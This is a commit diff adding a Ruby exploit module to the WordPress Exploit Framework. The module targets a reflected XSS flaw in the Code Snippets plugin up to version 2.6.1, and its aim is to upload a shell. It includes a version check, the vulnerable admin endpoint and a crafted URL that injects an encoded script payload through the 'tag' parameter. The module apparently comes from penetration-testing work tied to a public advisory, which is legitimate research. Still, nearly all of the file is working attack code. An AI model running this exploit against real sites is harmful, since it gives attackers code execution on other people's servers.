Add Code Snippets reflected XSS module

Author: rastating

modules/exploits/code_snippets_reflected_xss_shell_upload.rb

@@ -0,0 +1,32 @@
+class Wpxf::Exploit::CodeSnippetsReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Code Snippets <= 2.6.1 Reflected XSS Shell Upload',
+      author: [
+        'Burak Kelebek',                  # Discovery
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8566'],
+        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_code_snippets_wordpress_plugin.html']
+      ],
+      date: 'Jul 24 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('code-snippets', '2.7')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'admin.php')
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?page=snippets&tag=%5C%5C%27%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E"
+  end
+end